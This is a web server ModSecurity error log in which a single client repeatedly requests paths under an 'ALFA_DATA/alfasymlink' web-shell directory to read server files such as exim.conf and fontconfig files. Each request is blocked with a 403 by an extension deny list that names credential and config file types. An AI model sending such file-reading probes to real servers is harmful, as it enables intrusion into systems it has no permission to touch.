[Sun Oct 25 14:29:40.196667 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52789] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/10-hinting-slight.conf"] [unique_id "at5KlL3kuBsxLRbAfYmolgAAAA4"]
[Sun Oct 25 14:29:40.322070 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52789] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/10-hinting-slight.conf"] [unique_id "at5KlL3kuBsxLRbAfYmolgAAAA4"]
[Sun Oct 25 14:29:40.322323 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52789] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/10-hinting-slight.conf"] [unique_id "at5KlL3kuBsxLRbAfYmolgAAAA4"]
[Sun Oct 25 14:29:40.322641 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52799] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/20-unhint-small-dejavu-sans-mono.conf"] [unique_id "at5KlLmAKu18kw3DYL-PNgAAAA8"]
[Sun Oct 25 14:29:40.322875 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52799] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/20-unhint-small-dejavu-sans-mono.conf"] [unique_id "at5KlLmAKu18kw3DYL-PNgAAAA8"]
[Sun Oct 25 14:29:40.323163 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52799] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/20-unhint-small-dejavu-sans-mono.conf"] [unique_id "at5KlLmAKu18kw3DYL-PNgAAAA8"]
[Sun Oct 25 14:29:40.323776 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:52784] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/exim.conf"] [unique_id "at5KlAl_YuTmdn3pCPOXUwAAAAk"]
[Sun Oct 25 14:29:40.324048 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:52784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/exim.conf"] [unique_id "at5KlAl_YuTmdn3pCPOXUwAAAAk"]
[Sun Oct 25 14:29:40.324355 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:52784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/exim.conf"] [unique_id "at5KlAl_YuTmdn3pCPOXUwAAAAk"]
[Sun Oct 25 14:29:40.510138 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52821] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/25-unhint-nonlatin.conf"] [unique_id "at5KlLFCIv3LB15s-_e9iAAAAAM"]
[Sun Oct 25 14:29:40.510432 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52821] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/25-unhint-nonlatin.conf"] [unique_id "at5KlLFCIv3LB15s-_e9iAAAAAM"]
[Sun Oct 25 14:29:40.510708 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52821] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/25-unhint-nonlatin.conf"] [unique_id "at5KlLFCIv3LB15s-_e9iAAAAAM"]
[Sun Oct 25 14:29:40.514864 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52829] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/40-nonlatin.conf"] [unique_id "at5KlBH5LAgtrvBIlo322wAAABU"]
[Sun Oct 25 14:29:40.515116 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52829] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/40-nonlatin.conf"] [unique_id "at5KlBH5LAgtrvBIlo322wAAABU"]
[Sun Oct 25 14:29:40.515364 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52829] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/40-nonlatin.conf"] [unique_id "at5KlBH5LAgtrvBIlo322wAAABU"]
[Sun Oct 25 14:29:40.518140 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52835] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/45-generic.conf"] [unique_id "at5KlGT7SK5esjpOWSjqtwAAABY"]
[Sun Oct 25 14:29:40.518342 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52835] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/45-generic.conf"] [unique_id "at5KlGT7SK5esjpOWSjqtwAAABY"]
[Sun Oct 25 14:29:40.518608 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52835] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/45-generic.conf"] [unique_id "at5KlGT7SK5esjpOWSjqtwAAABY"]
[Sun Oct 25 14:29:40.521264 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:52837] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/45-latin.conf"] [unique_id "at5KlMO5MiLAYQWXs3NDKQAAAAc"]
[Sun Oct 25 14:29:40.521585 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:52837] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/45-latin.conf"] [unique_id "at5KlMO5MiLAYQWXs3NDKQAAAAc"]
[Sun Oct 25 14:29:40.521954 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:52837] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/45-latin.conf"] [unique_id "at5KlMO5MiLAYQWXs3NDKQAAAAc"]
[Sun Oct 25 14:29:40.530155 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52828] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/31-cantarell.conf"] [unique_id "at5KlNId4uiAK8m2gJn9JgAAAAQ"]
[Sun Oct 25 14:29:40.530370 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/31-cantarell.conf"] [unique_id "at5KlNId4uiAK8m2gJn9JgAAAAQ"]
[Sun Oct 25 14:29:40.530627 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/31-cantarell.conf"] [unique_id "at5KlNId4uiAK8m2gJn9JgAAAAQ"]
[Sun Oct 25 14:29:40.539192 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:52843] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/49-sansserif.conf"] [unique_id "at5KlOKLKrCYLMnXfck7ewAAAAg"]
[Sun Oct 25 14:29:40.539500 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:52843] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/49-sansserif.conf"] [unique_id "at5KlOKLKrCYLMnXfck7ewAAAAg"]
[Sun Oct 25 14:29:40.539817 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:52843] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/49-sansserif.conf"] [unique_id "at5KlOKLKrCYLMnXfck7ewAAAAg"]
[Sun Oct 25 14:29:40.608507 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52872] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/57-dejavu-sans-mono.conf"] [unique_id "at5KlCpTNKVnE1oMPCDtIAAAAAA"]
[Sun Oct 25 14:29:40.608809 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52872] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/57-dejavu-sans-mono.conf"] [unique_id "at5KlCpTNKVnE1oMPCDtIAAAAAA"]
[Sun Oct 25 14:29:40.609064 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52872] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/57-dejavu-sans-mono.conf"] [unique_id "at5KlCpTNKVnE1oMPCDtIAAAAAA"]
